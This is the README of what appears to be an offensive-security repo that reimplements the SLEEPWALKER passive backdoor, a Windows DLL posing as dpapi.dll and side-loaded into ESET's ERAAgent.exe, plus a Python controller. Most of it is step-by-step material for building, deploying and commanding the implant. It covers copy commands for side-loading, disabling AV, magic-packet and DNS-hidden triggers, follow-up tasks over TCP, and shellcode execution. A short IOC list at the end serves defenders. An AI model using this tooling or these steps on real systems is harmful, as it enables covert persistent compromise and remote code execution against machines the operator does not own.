A passive backdoor with its own command language, reimplemented from the original write-up by R136a1.

This repo contains:

  • The implantsrc/ is a 64-bit Windows DLL that impersonates dpapi.dll, is side-loaded into ERAAgent.exe (ESET Management Agent), and carries a 23-opcode bytecode interpreter plus a custom AES-256-CCM command language.
  • A Python controllertools/swctl/ compiles human-readable commands into that bytecode, encrypts them, frames them for a transport, and sends them to a target.

⚠️ Security note. SLEEPWALKER is offensive-security tooling. Use it only in an authorized lab / engagement you own. It side-loads into a legitimate ESET component, weakens Windows security settings, and runs attacker-supplied code in memory. Do not deploy it on machines you do not control.


Architecture recap (from the blog)

  • The DLL checks that its host process is named ERAAgent.exe before doing anything.
  • It opens no listening port and contacts no server. Its embedded configuration decrypts to a single bootstrap instruction: SNIFF_MAGIC_PACKET — watch every interface, forever, for a magic packet.
  • It sniffs raw traffic (SIO_RCVALL) for a trigger packet that passes six gates (length, XOR-derived length, SUM marker, CRC-32, then AES-256-CCM decrypt). Only a matching packet wakes it.
  • A separate opcode (SNIFF_MAGIC_PACKET_DNS) also enables a DNS trigger hidden in ordinary-looking DNS queries. The embedded bootstrap does not enable DNS; you must deliver a task that runs the DNS-aware opcode first.
  • Once triggered, it runs the decrypted bytecode program, which can schedule, send data over TCP/UDP/ICMP/named pipes/VMCI, receive follow-up tasks, stage+verify files with SHA-256, decompress, and run shellcode.

All encryption is AES-256-CCM with a key recovered from the real sample (see tools/swctl/core.py and include/sw_core.h).

Key configuration (implant + controller)

The four static key values are shared between the implant and the Python controller through a single config.json at the repo root (see config.example.json):

field controls
aes_key AES-256-CCM key (all envelopes)
config_nonce fixed nonce for the embedded bootstrap
cron_xor_key repeating XOR mask for CRON_SCHEDULE
sniff_xor_const magic-packet length-gate constant

Every field is optional: an empty/absent value falls back to the built-in defaults, so a stock config.json (or no file at all) reproduces the original key values and the same sealed bootstrap block. To customize, fill in the fields, then:

  • Implantmake win32 regenerates out/sw_config_values.h from config.json and splices it into every translation unit; the embedded bootstrap block is re-sealed with the active nonce.
  • Controllertools/swctl and tools/sw_tui.py read the same file at runtime (override the path with SW_CONFIG_FILE).

Inspect the active values with python3 -m swctl keys (or --json). The TUI exposes the same info under option [k]. The implant and controller must agree on the active values — change one and rebuild the other side.

Behavioral notes (impl vs. the blog)

Where the blog leaves room for interpretation or describes quirks, this reimplementation makes these choices:

  • SNIFF_MAGIC_PACKET (0x87) sniffs only the raw trigger. SNIFF_MAGIC_PACKET_DNS (0x88) sniffs both raw and DNS (the blog: "does everything the instruction above does and also watches for the DNS-based trigger"). The sniff mode is per-worker, so enabling 0x88 from a follow-up task leaves the bootstrap's 0x87 raw listener running.
  • DNS header validation requires a standard DNS question header (QDCOUNT=1, AN/NS/ARCOUNT=0) before the qname is parsed, matching the blog's "asks exactly one question and claims no answer, authority or additional records".
  • VirtualProtect (used by RUN_SHELLCODE) is resolved by name at runtime rather than listed among the normal imports, matching the blog's "three function names the file never lists among its normal imports".
  • The DNS carrier is delivered as a UDP A-query; the blog notes the real code never skips the TCP length prefix, so TCP DNS is effectively broken there. This build accepts a well-formed qname regardless of carrier.
  • A sw_worker_start guard prevents the "duplicate-worker" startup the blog describes (the DPAPI export path still re-runs the check; it is just a no-op if the worker already started).

Repository layout

src/              C implant source
  sw_core.c       crypto (AES-256-CCM/SHA-256/CRC/base32), magic packet, DNS codec
  sw_bytecode.c   the 23-opcode interpreter
  sw_net.c        Windows networking (TCP/UDP/ICMP/pipes/VMCI + registry weakening)
  sw_win32.c      DllMain, dpapi exports, raw-socket sniffer
  sw_lzma.c       LZMA decoder
include/          shared headers (sw_core.h, sw_impl.h)
tests/            native unit tests (make test)
tools/swctl/      Python controller (make controller-test)
tools/launcher.c  demo ERAAgent.exe loader (make demo)
build/            bootstrap emitter (builds the embedded encrypted config)

Prerequisites

Implant build host (macOS/Linux):

  • x86_64-w64-mingw32-gcc + windres (cross-compiler for Windows). On macOS: brew install mingw-w64. On Debian/Ubuntu: apt install gcc-mingw-w64-x86-64.

Operator (where you control the implant):

  • Python 3.9+
  • For the raw magic-packet transport only: pip install scapy. Everything else (dns, tcp, udp) uses the standard library.

Target (the infected machine):

  • 64-bit Windows.
  • ESET Management Agent installed (ERAAgent.exe), or a test harness named ERAAgent.exe (see Lab setup).

Building

# Native unit tests (macOS/Linux)
make test

# The 64-bit Windows DLL  ->  out/dpapi.dll
make win32

# Python controller self-tests (verifies against the blog's published vectors)
make controller-test

# Demo bundle: ERAAgent.exe loader + SW_DEMO dpapi.dll  ->  out/demo/
make demo

make win32 produces out/dpapi.dll and also embeds the pre-sealed bootstrap (the encrypted SNIFF_MAGIC * 0 instruction) via build/emit_bootstrap.c.


Lab setup

A minimal lab has two hosts on the same subnet:

┌─────────────────────────┐          ┌──────────────────────────┐
│  Operator (macOS/Linux) ��  packet │  Target: Win x64 VM       │
│  tools/swctl (python)   │ ───────►│  ERAAgent.exe + dpapi.dll │
│  e.g. 192.168.1.50      │         │  e.g. 192.168.1.100       │
└─────────────────────────┘         └──────────────────────────┘

1. Prepare the target

  1. Create / provision a 64-bit Windows VM (isolation recommended).
  2. Install ESET Management Agent (or, for a lighter lab, install any program whose executable you can rename to ERAAgent.exe — the check is only on the process name, not the signature).
  3. Disable or allowlist Windows Defender / AV on the VM for this test, and run the process as Administrator (raw sniffing via SIO_RCVALL needs admin).
  4. Make sure the VM and the operator can reach each other on the network (same subnet, firewall rules permitting the traffic below).

2a. Deploy with real ESET Management Agent

  1. Copy the built DLL into the same directory as ERAAgent.exe and name it dpapi.dll:

    # from the ERAAgent install dir (adjust path)
    copy C:\path\to\out\dpapi.dll C:\Program Files\ESET\ManagementAgent\dpapi.dll
    
  2. (Recommended) Copy the genuine dpapi.dll from C:\Windows\System32 beside it, renamed to dpapisvc.dll:

    copy C:\Windows\System32\dpapi.dll C:\Program Files\ESET\ManagementAgent\dpapisvc.dll
    

    This is the DLL the implant's seven DPAPI export stubs try to forward to. If something calls one of those functions and dpapisvc.dll is missing, the resolver calls ExitProcess and the host dies. Supplying the renamed real DLL avoids that in the lab.

  3. Start the agent. The DLL is side-loaded when ERAAgent.exe loads dpapi.dll, and its DllMain checks the process name before activating.

2b. Demo without ESET installed (no process-name dependency)

Two options, both self-contained in out/demo/:

Option A — bundled loader (make demo). Run the supplied ERAAgent.exe (it is named ERAAgent.exe, so the real host-name check passes) from the same directory as dpapi.dll:

cd C:\path\to\out\demo
.\ERAAgent.exe

The loader calls LoadLibraryW(dpapi.dll), DllMain runs, the name check passes, and the implant starts its sniffer. This keeps the implant's original gate intact.

Option B — SW_DEMO build. The out/demo/dpapi.dll is compiled with -DSW_DEMO, which bypasses the ERAAgent.exe check entirely. You can load it from any host — a stub, rundll32, a debugger, etc.:

# load via rundll32 (any of the exported entry points)
rundll32 C:\path\to\out\demo\dpapi.dll,CryptProtectDataNoUI

regsvr32 still won't work on either build: the DLL exports only the seven dpapi functions (no DllRegisterServer/DllUnregisterServer), and on the non-demo build the host name wouldn't be ERAAgent.exe anyway.

For SW_DEMO, keep the process alive after loading so the sniffer thread can run (a debugger or a script that holds the DLL loaded works; the bundled loader keeps itself alive).

Verifying it loaded (optional). Attach a debugger or use Process Explorer to confirm dpapi.dll is loaded. The implant itself is silent and opens no socket you can see, so the easiest positive test is the first trigger below.

3. Install the controller

cd tools
pip install scapy      # only needed for the raw magic-packet transport
python3 -m swctl --help

For the interactive TUI console, create a venv and install its two dependencies (prompt_toolkit + rich):

cd <repo root>
uv venv .venv
uv pip install --python .venv/bin/python prompt_toolkit rich
.venv/bin/python tools/sw_tui.py

Interactive TUI console

tools/sw_tui.py is a prompt_toolkit/rich interactive console that builds task programs from the 23-opcode language, compiles them, and sends them over any trigger channel, plus restarts the implant.

.venv/bin/python tools/sw_tui.py

Main menu:

[1] Build & send a program      - pick opcodes, fill params, send
[2] Quick-send raw DSL          - paste a DSL program and send
[3] Restart implant             - schtasks /End + /Run
[4] Send over a specific transport
[5] Show compiled program from DSL   (compile + render the tree, no send)
[c] Configure target / ssh credentials
[q] Quit

Example build-and-send flow (option 1):

opcode name, 'done' to finish, 'list' to re-show: UDP_SEND
  UDP_SEND: local addr [*]:                <Enter>
  UDP_SEND: local port [*]:                <Enter>
  UDP_SEND: remote host: 192.168.1.50
  UDP_SEND: remote port: 9100
  UDP_SEND: payload: 0xdead
  UDP_SEND: deadline [0]:                  <Enter>
opcode name ...: done
transport [magic/tcp/udp/dns]: magic

The assembled program is compiled, its decoded tree is printed, and it is sent (default: magic-over-UDP to CFG.magic_port, the six-gate trigger).

Configuration can also be set via environment variables before launch:

SW_HOST=192.168.1.100 SW_USER=operator SW_PASS=ChangeMe123! SW_MAGIC_PORT=9999 \
  .venv/bin/python tools/sw_tui.py

Controlling the implant

The controller has three subcommands:

python3 -m swctl build  script.dsl [--transport magic|dns|tcp|udp] [--hex] [--tree]
python3 -m swctl send   script.dsl --transport <t> --host <target> [--port N] [--pipe P]
python3 -m swctl decode <bytecode-hex>

The DSL

One instruction per line. Strings are quoted or bare words; numbers may be decimal or 0x hex; binary blobs use 0x… or hex:…; nested programs go in { … }. Comments start with #.

# Listen for the raw trigger forever on every interface
SNIFF_MAGIC * 0

All 23 opcodes are supported (SLEEP_SECONDS, REPEAT_N, CRON_SCHEDULE, TCP_SEND, UDP_SEND, ICMP_SEND, PIPE_SEND, TCP_CONNECT_RECV, TCP_LISTEN_RECV, UDP_BIND_RECV, PIPE_CLIENT_RECV, PIPE_SERVER_RECV, STAGE_WRITE, STAGE_VERIFY_EXEC, DECOMPRESS_RUN, RUN_SHELLCODE, RUN_FILE_SCRIPT, SNIFF_MAGIC, SNIFF_MAGIC_DNS, …).

Scenario A — the primary trigger (magic packet)

The implant’s bootstrap already runs SNIFF_MAGIC * 0, so the raw magic packet is your first command path.

# sleep.dsl
SLEEP_SECONDS 5
cd tools
python3 -m swctl send sleep.dsl --transport magic --host 192.168.1.100

The controller encrypts SLEEP_SECONDS 5, wraps it in the six-gate magic packet, and sends it to the target’s interface. When the implant’s sniffer sees a matching packet it decrypts and runs the program.

To see exactly what is transmitted first (no send):

python3 -m swctl build sleep.dsl --transport magic --hex --tree

Scenario B — enabling and using the DNS trigger

The embedded bootstrap is raw-only. To use DNS you must first deliver a task that runs the DNS-aware listener (via the magic packet or any other active channel):

# dns_listener.dsl
SNIFF_MAGIC_DNS * 0
python3 -m swctl send dns_listener.dsl --transport magic --host 192.168.1.100

Now the implant also watches DNS queries. Send follow-up commands hidden in a DNS A-query label (works even where only DNS egress is allowed):

python3 -m swctl send sleep.dsl --transport dns --host 192.168.1.100 --port 53

Scenario C — receive a follow-up task over TCP

A running task can tell the implant to listen for a follow-up program:

# server.dsl
TCP_LISTEN_RECV 0.0.0.0 8443 0
python3 -m swctl send server.dsl --transport magic --host 192.168.1.100

Then the operator sends the next program to that port:

python3 -m swctl send next.dsl --transport tcp --host 192.168.1.100 --port 8443

Decoding what you sent / captured

python3 -m swctl decode 0e000000000000000100000200fffffffe3e039dfdc1

renders the annotated tree (the CRON_SCHEDULE example from the blog).


Lab troubleshooting

Symptom Likely cause / fix
No reaction to the magic packet Implant not running as admin (needs SIO_RCVALL); firewall blocking; operator not on a path to the interface; wrong host.
ERAAgent.exe exits on startup A DPAPI export was called and dpapisvc.dll is missing — deploy the renamed real dpapi.dll as dpapisvc.dll.
Implant never activates Host process is not named ERAAgent.exe. Use the make demo bundle (SW_DEMO bypass) or rename your loader to ERAAgent.exe.
regsvr32 says DllRegisterServer was not found Expected — the DLL exports only the 7 dpapi functions. Use the make demo loader or rundll32 instead.
DNS trigger does nothing Bootstrap is raw-only; deliver a SNIFF_MAGIC_DNS task first.
AV blocks/removes the DLL Disable or allowlist AV on the isolated lab VM.

Detection (IOC) reference

The blog’s IOCs you can check in the lab:

  • An unexpected dpapi.dll beside ERAAgent.exe
  • An unexpected dpapisvc.dll in the same directory
  • HKLM\SYSTEM\CurrentControlSet\Control\Lsa\EveryoneIncludesAnonymous = 1
  • An unexpected entry in HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\NullSessionPipes

The blog also ships a YARA rule and a read-only PowerShell scanner in its appendix (not included in this repo).


References